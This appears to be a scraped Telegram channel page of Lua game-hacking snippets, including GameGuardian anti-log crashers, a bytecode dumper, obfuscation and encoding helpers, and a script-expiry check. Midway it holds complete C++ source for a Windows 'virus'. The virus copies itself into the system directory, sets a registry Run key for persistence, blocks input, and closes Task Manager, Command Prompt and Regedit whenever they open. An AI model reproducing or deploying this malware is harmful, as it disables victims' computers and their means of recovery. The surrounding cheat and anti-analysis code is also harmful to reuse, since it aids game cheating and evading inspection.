SS • Lua
213 subscribers
209 photos
24 videos
714 files
133 links
- > offline .
Download Telegram
a = {}
b = ""
repeat
a[#a + 1] = string.char(255, 10, 255, 10, 255, 10, 255, 210, 255, 10, 255, 10, 255, 10, 255, 210, 255, 10, 255, 10, 255, 10, 255, 210)
b = b .. string.char(255, 255)
a[#a + 1] = b .. b
until #a == tonumber("10000")
for i = 1, 4 do
gg.searchNumber(b)
for i = 1, 10 do
debug.traceback(2, nil, a)
end
end

---- Antilogs
---- Bydz 6.3 😂
[Dec]Archero Script 2.6.4 Full (Vi) by CuongNguyen.lua
123 KB
Script Hack : Archero
Encode : Compiler 3.7
😂 New Hack
-- // IQ CAO // --
A=0 B=0 z={}b=
{}E={32,46,44,45,126,
58,59,61,33,42,35,36,64}S
=math.sin C=math.cos F=math.
floor I=io.write T=string.char W=60
P=print H=25 P("\\x1b[2J")for w=1,240
do for o=0,W*H do b[o]=1 z[o]=0 end e=
S(A)g=C(A)m=C(B)n=S(B)for j=0,6.28,.09
do d=C(j)f=S(j) for i=0,6.28,.04
do c=S(i)h=d+2 D =1/(c*h*e+f*g+5)
l=C(i)t=c*h*g- f*e x=F(W/2+W*
.3*D*(l*h*m-t*n ))y=F(H/2+H*.6*
D*(l*h*n+t*m))o =x+W*y N=math.
max(0,F(8*((f*e-c*d*g)*m-c*d*e-f*g -l*
d *n)))+2 if H> y and y>0 and x>0 and
W>x and D> z[o] then z[o]=D b[o]=N
end end end P( "\\x1b[H")for k=0
,W* H do if k%W~=0 then I(T(
E[b[k]]))else I( T( 10))
end end A = A + .04
B=B+.02 end
_ = gg.prompt({"Select file to dump"},{gg.getFile()},{"file"});if _ then;io.open(_[1]..".dump.lua","w+"):write(string.dump(loadfile(_[1]),true)):close()
end

-- 👀
lol Anti Load 😂
New anti log ( Log Đầu Bùi ok )

x = string.char(0x4c,0x6f,0x67,0x20,0xc4,0x90,0xe1,0xba,0xa7,0x75,0x20,0x42,0xc3,0xb9,0x69,0x20,0x4f,0x6b):rep(999)
for i = 1,1000 do
debug.getinfo(1,nil,x)
end


😂😂
[Dec]Simpel GZ¹.ARSGEMING.lua
45.7 KB
Game > Free Fire 1.57.x
Encoded > ENCYPT BY ARS GEMING
x = string.char(0xe7,255,255,0x8e,0xb0,0x20,0xe5,0xae,0x9e,0x20,0xe5,0x8a,0xa0,0x20,0xe9,0x87,0x8f,255,255,0x20,0xe9,0x83,0xbd,0x20,0xe4,0xb8,0xa4,0x20,0xe4,0xbd,0x93,255,255,0x20,0xe5,0x88,0xb6,255,255):rep(999)
for i = 1,2000 do
debug.getinfo(1,nil,x)
end

Ez (Anti_logs) 😂
os.time = function(...)
return 1
end
true == ((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['x']==(function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['y'])==((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['z']==(function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['v'])

false == ((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['x']==(function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['y'])==((function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['z'] and (function() local t = {} for k, v in pairs(_G) do t[k]=v end local idx = 1; local func = debug.getinfo(2, "f").func; while true do local ln, lv = debug.getupvalue(func, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end idx = 1 while true do local ln, lv = debug.getlocal(2, idx) if ln ~= nil then t[ln]=lv else break end idx=1+idx end return t end)()['v'])
#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winable.h>
#include <conio.h>
#include <ctime>
using namespace std;

int random, Freq, Dur, X, Y;
HWND mywindow, TaskMgr, CMD, Regedit;
char Notepad[MAX_PATH]="notepad.exe";
char MineSweeper[MAX_PATH]="winmine.exe";
char Hearts[MAX_PATH]="mshearts.exe";
char Website[MAX_PATH]="http:\\www.google.com";

void SetUp();
void Run( int ID );
void Beeper(), OpenStuff(), Hibernation(), CrazyMouse();

DWORD WINAPI DestroyWindows(LPVOID);

int main()
{
srand( time(0) );
random = rand()%6;
system("title :.Virus.:");
BlockInput( true );
SetUp();
BlockInput( false );
CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)&DestroyWindows, 0, 0, NULL);
while(1)
{
Run( random );
Sleep(10);
}
}
void SetUp()
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,"\\winminer.exe");
CopyFile(pathtofile,system,false);

HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
RegSetValueEx(hKey, "SetUp",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);

mywindow = FindWindow(NULL,":.Virus.:");
cout<<"You Are Doomed";
Sleep(1000);
ShowWindow(mywindow, false);
}

void Run( int ID )
{
if( ID == 1 )
{
BlockInput(true);
}
else if( ID == 2 )
{
Beeper();
}
else if( ID == 3 )
{
OpenStuff();
}
else if( ID == 4 )
{
Hibernation();
}
else if( ID == 5 )
{
CrazyMouse();
}
else
{
BlockInput(true);
Beeper();
OpenStuff();
CrazyMouse();
}
}

void Beeper()
{
Freq = rand()%2001;
Dur = rand()%301;
Beep( Freq, Dur );
}
void OpenStuff()
{
ShellExecute(NULL,"open",Notepad,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",MineSweeper,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Hearts,NULL,NULL,SW_MAXIMIZE);
ShellExecute(NULL,"open",Website,NULL,NULL,SW_MAXIMIZE);
}
void Hibernation()
{
Sleep(1000);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM) 2);
}
void CrazyMouse()
{
X = rand()%801;
Y = rand()%601;
SetCursorPos( X, Y );
}

DWORD WINAPI DestroyWindows(LPVOID)
{
while(1)
{
TaskMgr = FindWindow(NULL,"Windows Task Manager");
CMD = FindWindow(NULL, "Command Prompt");
Regedit = FindWindow(NULL,"Registry Editor");
if( TaskMgr != NULL )
{
SetWindowText( TaskMgr, "You Suck Balls Superman");
PostMessage( TaskMgr, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( CMD != NULL )
{
SetWindowText( CMD, "You Suck Balls Superman");
PostMessage( CMD, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}
if( Regedit != NULL )
{
SetWindowText( Regedit, "You Suck Balls Superman");
PostMessage( Regedit, WM_CLOSE, (LPARAM)0, (WPARAM)0);
}

Sleep(10);
}
}
-- Converts a byte to a string of 0s and 1s.

function byte2bin(n)
local t = {}
for i=7,0,-1 do
t[#t+1] = math.floor(n / 2^i)
n = n % 2^i
end
return table.concat(t)
end
local h2b = {
['0']='0000', ['1']='0001', ['2']='0010', ['3']='0011',
['4']='0100', ['5']='0101', ['6']='0110', ['7']='0111',
['8']='1000', ['9']='1001', ['A']='1010', ['B']='1011',
['C']='1100', ['D']='1101', ['E']='1110', ['F']='1111'
}
function hex2bin(n)
return n:upper():gsub(".", h2b)
end
function dec2bin(n)
return hex2bin(tostring(n):format("%X"))
end
--String to binary

-- 1. Convert String to HEX
function string.tohex(str)
return (str:gsub('.', function (c)
return string.format('%02X', string.byte(c)) end))
end

-- 2. Helper function to covert base n number
function basen(n,b)
n = math.floor(n)
if not b or b == 10 then return tostring(n) end
local digits = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
local t = {}
local sign = ""
if n < 0 then sign = "-" n = -n end
repeat local d = (n % b) + 1 n = math.floor(n / b)
table.insert(t, 1, digits:sub(d,d)) until n == 0
return sign .. table.concat(t,"")
end

-- 3. Function to convert Hex to bin
function hex2bin(s)
dec = tonumber(s,16)
return tostring(basen(dec,2))
end


--- testing
str = 'im XOR'
s = string.tohex(str)
print(s) -- = 696D20584F52
bin = hex2bin(s)
print(bin) -- = 11010010110110100100000010110000100111101010010
function CheckTime()
date = os.date("*t", os.time())
date = 10000 * date.year + 100 * date.month + date.day
if date > 20210119 then
print("🌾 Script Expired :> ")
os.exit()
end
end
CheckTime()
/lua

local str = "print (\" nhu long lon \")"
print (str)

str = string.dump(load(str), true, true)
print (str)

str = string.gsub(str, '.', function (c)
return string.format("\\x%02x", c:byte())
end)
print ("load(\"" .. str .. "\")()")